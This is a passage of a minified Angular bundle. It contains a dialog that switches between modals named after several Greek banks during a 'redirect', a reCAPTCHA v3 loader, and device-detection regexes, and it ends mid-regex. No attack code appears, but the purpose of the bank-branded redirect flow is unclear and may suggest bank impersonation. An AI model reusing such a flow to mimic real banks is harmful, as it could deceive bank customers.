new(e||t)(r.\u0275\u0275directiveInject(hI),r.\u0275\u0275directiveInject(vw))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-dialog-body"]],decls:9,vars:9,consts:[["style","color: black;",4,"ngIf"],[4,"ngIf"],[2,"color","black"]],template:function(t,e){1&t&&(r.\u0275\u0275template(0,EN,2,0,"div",0),r.\u0275\u0275template(1,TN,2,0,"div",1),r.\u0275\u0275template(2,IN,1,0,"app-alpha-modal",1),r.\u0275\u0275template(3,kN,1,0,"app-nbg-modal",1),r.\u0275\u0275template(4,AN,1,0,"app-eurobk-modal",1),r.\u0275\u0275template(5,DN,1,0,"app-attica-modal",1),r.\u0275\u0275template(6,NN,1,0,"app-elvibk",1),r.\u0275\u0275template(7,RN,1,0,"app-bnpbk",1),r.\u0275\u0275template(8,LN,1,0,"app-popbk",1)),2&t&&(r.\u0275\u0275property("ngIf",!e.redirectingNow),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&3==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&2==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&1==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&4==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&5==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&6==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&7==e.bnkRedirect),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.redirectingNow&&8==e.bnkRedirect))},directives:[ut,XI,Sk,nA,TA,sD,RD,YD,ON],styles:[""]}),t})();const FN=new r.InjectionToken("recaptcha-language"),VN=new r.InjectionToken("recaptcha-base-url"),BN=new r.InjectionToken("recaptcha-nonce-tag"),HN=(new r.InjectionToken("recaptcha-settings"),new r.InjectionToken("recaptcha-v3-site-key")),zN=function(t,e,n,r,i){window.ng2recaptchaloaded=()=>{e(grecaptcha)};const o=document.createElement("script");o.innerHTML="",o.src=`${r||"https://www.google.com/recaptcha/api.js"}?render=${t}&onload=ng2recaptchaloaded${n}`,i&&(o.nonce=i),o.async=!0,o.defer=!0,document.head.appendChild(o)};let GN=(()=>{class t{constructor(t,e,n,r,i,o){this.onLoadComplete=t=>{this.grecaptcha=t,this.actionBacklog&&this.actionBacklog.length>0&&(this.actionBacklog.forEach(([t,e])=>this.executeActionWithSubject(t,e)),this.actionBacklog=void 0)},this.zone=t,this.isBrowser=Ct(n),this.siteKey=e,this.nonce=i,this.language=o,this.baseUrl=r,this.init()}get onExecute(){return this.onExecuteSubject||(this.onExecuteSubject=new We.xQ,this.onExecuteObservable=this.onExecuteSubject.asObservable()),this.onExecuteObservable}get onExecuteError(){return this.onExecuteErrorSubject||(this.onExecuteErrorSubject=new We.xQ,this.onExecuteErrorObservable=this.onExecuteErrorSubject.asObservable()),this.onExecuteErrorObservable}execute(t){const e=new We.xQ;return this.isBrowser&&(this.grecaptcha?this.executeActionWithSubject(t,e):(this.actionBacklog||(this.actionBacklog=[]),this.actionBacklog.push([t,e]))),e.asObservable()}executeActionWithSubject(t,e){const n=n=>{this.zone.run(()=>{e.error(n),this.onExecuteErrorSubject&&this.onExecuteErrorSubject.next({action:t,error:n})})};this.zone.runOutsideAngular(()=>{try{this.grecaptcha.execute(this.siteKey,{action:t}).then(n=>{this.zone.run(()=>{e.next(n),e.complete(),this.onExecuteSubject&&this.onExecuteSubject.next({action:t,token:n})})},n)}catch(r){n(r)}})}init(){this.isBrowser&&("grecaptcha"in window?this.grecaptcha=grecaptcha:zN(this.siteKey,this.onLoadComplete,this.language?"&hl="+this.language:"",this.baseUrl,this.nonce))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(HN),r.\u0275\u0275inject(r.PLATFORM_ID),r.\u0275\u0275inject(VN,8),r.\u0275\u0275inject(BN,8),r.\u0275\u0275inject(FN,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),UN=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[GN]}),t})();const qN={UKNOWN:"Unknown"},WN={CHROME:"Chrome",FIREFOX:"Firefox",SAFARI:"Safari",OPERA:"Opera",IE:"IE",MS_EDGE:"MS-Edge",MS_EDGE_CHROMIUM:"MS-Edge-Chromium",FB_MESSANGER:"FB-Messanger",SAMSUNG:"Samsung",UCBROWSER:"UC-Browser",UNKNOWN:qN.UKNOWN},KN={HTC:/HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel/,NEXUS_PHONE:/Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6/,DELL:/Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b/,MOTOROLA:new RegExp("Motorola|DROIDX|DROID BIONIC|\\bDroid\\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|\n A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|\n MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|\n ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|\n WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|\n XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|\n XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\\bMoto E\\b|XT1068|XT1092|XT1052"),SAMSUNG:new RegExp("\\bSamsung\\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|\n GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|\n GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|\n GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|\n GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|\n GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|\n GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|\n GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|\n GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|\n GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|\n GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|\n GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|\n GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|\n GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|\n GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|\n GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|\n GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|\n GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|\n SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|\n SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|\n SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|\n SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|\n SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|\n SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|\n SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|\n SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|\n SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|\n SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|\n SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|\n SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|\n SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|\n SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|\n SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|\n SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|\n SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|\n SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|\n SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|\n SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|\n SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|\n SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|\n SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|\n SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|\n SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|\n SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|\n SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|\n SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|\n SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|\n SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|\n SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|\n GT-N7105|SCH-I535|SM-N900A|SM-N900T|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|\n GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|\n GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|\n SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|\n SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|\n SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F"),LG:new RegExp("\\bLG\\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|\n LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|\n C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|\n LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|\n VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|\n MS323|M257)"),SONY:/SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533/,ASUS:/Asus.*Galaxy|PadFone.*Mobile/,NOKIA_LUMIA:/Lumia [0-9]{3,4}/,MICROMAX:/Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b/,PALM:/PalmSource|Palm/,VERTU:/Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature/,PANTECH:new RegExp("PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|\n IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|\n IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|\n CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|\n P2000|P7040|P7000|C790"),FLY:/IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250/,WIKO:new RegExp("KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|\n SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|\n CINK KING|CINK PEAX|CINK SLIM|SUBLIM"),I_MOBILE:/i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)/,SIMVALLEY:/\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b/,WOLFGANG:/AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q/,ALCATEL:/Alcatel|Mobile; rv:49.0|Mobile; ALCATEL 4052R; rv:48.0/,NINTENDO:/Nintendo (3DS|Switch)/,AMOI:/Amoi/,INQ:/INQ/,VITA:/\bVita\b/,BLACKBERRY:/\bBlackBerry\b|\bBB10\b|rim[0-9]+/,FIREFOX_OS:/\bFirefox-OS\b/,IPHONE:/\biPhone\b/,iPod:/\biPod\b/,ANDROID:/\bAndroid\b/,WINDOWS_PHONE:/\bWindows-Phone\b/,GENERIC_PHONE:new RegExp("Tapatalk|PDA;|SAGEM|\\bmmp\\b|pocket|\\bpsp\\b|symbian|Smartphone|smartfon|treo|up.browser|\n up.link|vodafone|\\bwap\\b|nokia|Nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser")},$N={iPad:/iPad|iPad.*Mobile/,NexusTablet:/Android.*Nexus[\s]+(7|9|10)/,GoogleTablet:/Android.*Pixel C/,SamsungTablet:new RegExp("SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|\n GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|\n SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|\n GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|\n SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|\n GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|\n SHV-E230S|SHW-M180K|SHW-M180L|SM-T865|SM-T290|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|\n SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|\n GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T385M|SM-P585M|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|\n SM-P601|SM-P605|SM-P615|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|\n GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|\n SM-T510|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|\n SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T500|SM-T330|\n SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|\n SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-T116BU|SM-P550|\n SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|\n SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|\n SM-T719|SM-T725|SM-T813|SM-T819|SM-T580|SM-T590|SM-T355Y?|SM-T280|SM-T817A|SM-T820|SM-W700|SM-P580|SM-T587|SM-P350|\n SM-P555M|SM-P355M|SM-T113NU|SM-T815Y|SM-T585|SM-T285|SM-T825|SM-W708|SM-T835|SM-P585Y"),Kindle:new RegExp("Kindle|Silk.*Accelerated|Android.*\\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|\n KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI|KFFOWI|KFGIWI|KFMEWI)\\b|Android.*Silk/[0-9.]+ like Chrome /[0-9.]+ (?!Mobile)"),SurfaceTablet:/Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)/,HPTablet:/HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10/,AsusTablet:new RegExp("^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|\n TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|\n Slider SL101|\\bK00F\\b|\\bK00C\\b|\\bK00E\\b|\\bK00L\\b|TX201LA|ME176C|ME102A|\\bM80TA\\b|ME372CL|\n ME560CG|ME372CG|ME302KL| K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\\bME70C\\b|ME581C|\n ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\\bP027\\b|\\bP024\\b|\\bP00C\\b"),BlackBerryTablet:/PlayBook|RIM Tablet/,HTCtablet:/HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410/,MotorolaTablet:/xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617/,NookTablet:/Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2/,AcerTablet:new RegExp("Android.*; \\b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|\n W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\\b|W3-810|\\bA3-A10\\b|\\bA3-A11\\b|\n \\bA3-A20\\b|\\bA3-A30"),ToshibaTablet:/Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO/,LGTablet:/\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b/,FujitsuTablet:/Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b/,PrestigioTablet:new RegExp("PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|\n PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|\n PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|\n PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|\n PMT5887|PMT5001|PMT5002"),LenovoTablet:new RegExp("Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-850M|YT3-X90L|YT3-X90F|\n YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|\n B8000|B8080)(-|)(FL|F|HV|H|)|TB-X606F|TB-X103F|TB-X304F|TB-X304L|TB-X704F|TB-8703F|Tab2A7-10F|TB2-X30L|TB-8504F"),DellTablet:/Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7/,YarvikTablet:new RegExp("Android.*\\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|\n TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|\n TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|\n TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|\n TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\\b"),MedionTablet:/Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB/,ArnovaTablet:/97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2/,IntensoTablet:/INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004/,IRUTablet:/M702pro/,MegafonTablet:/MegaFon V9|\bZTE V9\b|Android.*\bMT7A\b/,EbodaTablet:/E-Boda (Supreme|Impresspeed|Izzycomm|Essential)/,AllViewTablet:/Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)/,ArchosTablet:new RegExp("\\b(101G9|80G9|A101IT)\\b|Qilive 97R|Archos5|\\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10|\n Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\\b"),AinolTablet:/NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark/,NokiaLumiaTablet:/Lumia 2520/,SonyTablet:new RegExp("Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|\n SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|\n EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|\n SGP612|SGP712"),PhilipsTablet:/\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b/,CubeTablet:/Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT/,CobyTablet:new RegExp("MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|\n MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010"),MIDTablet:new RegExp("M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|\n MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|\n MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10"),MSITablet:new RegExp("MSI \\b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|\n Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 